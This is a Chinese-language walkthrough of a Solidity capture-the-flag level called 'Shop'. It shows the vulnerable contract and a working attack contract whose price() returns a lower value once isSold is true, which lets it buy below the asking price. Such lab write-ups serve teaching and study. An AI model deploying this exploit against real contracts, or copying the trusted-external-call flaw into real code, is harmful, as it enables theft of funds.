Skip to main content

Shop

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

题目要求

题目要求Buyer以低于要求的价格买到商品。买完以后会记录buyer.price()。提交实例的时候会检查购买后的price是否低于购买前的price

题目分析

这个题目需要我们实现一个Buyer合约,提供price查询方法,当购买时查询一下buyer.price。购买成功后记录buyer.price。也就是我们只要在成功购买后给一个更低的price即可

攻击步骤

  1. 实现攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IShop {
function buy() external;
function isSold() external view returns(bool);
}

contract ShopAttack {
IShop public shop;
constructor(address _shop) public {
shop = IShop(_shop);
}
function price() external view returns(uint256) {
return shop.isSold() ? 0 : 100;
}

function buyAttack() external {
shop.buy();
}
}
  1. 部署题目合约,并将题目合约的地址作为攻击合约的初始化参数
  2. 调用攻击合约的buyAttack方法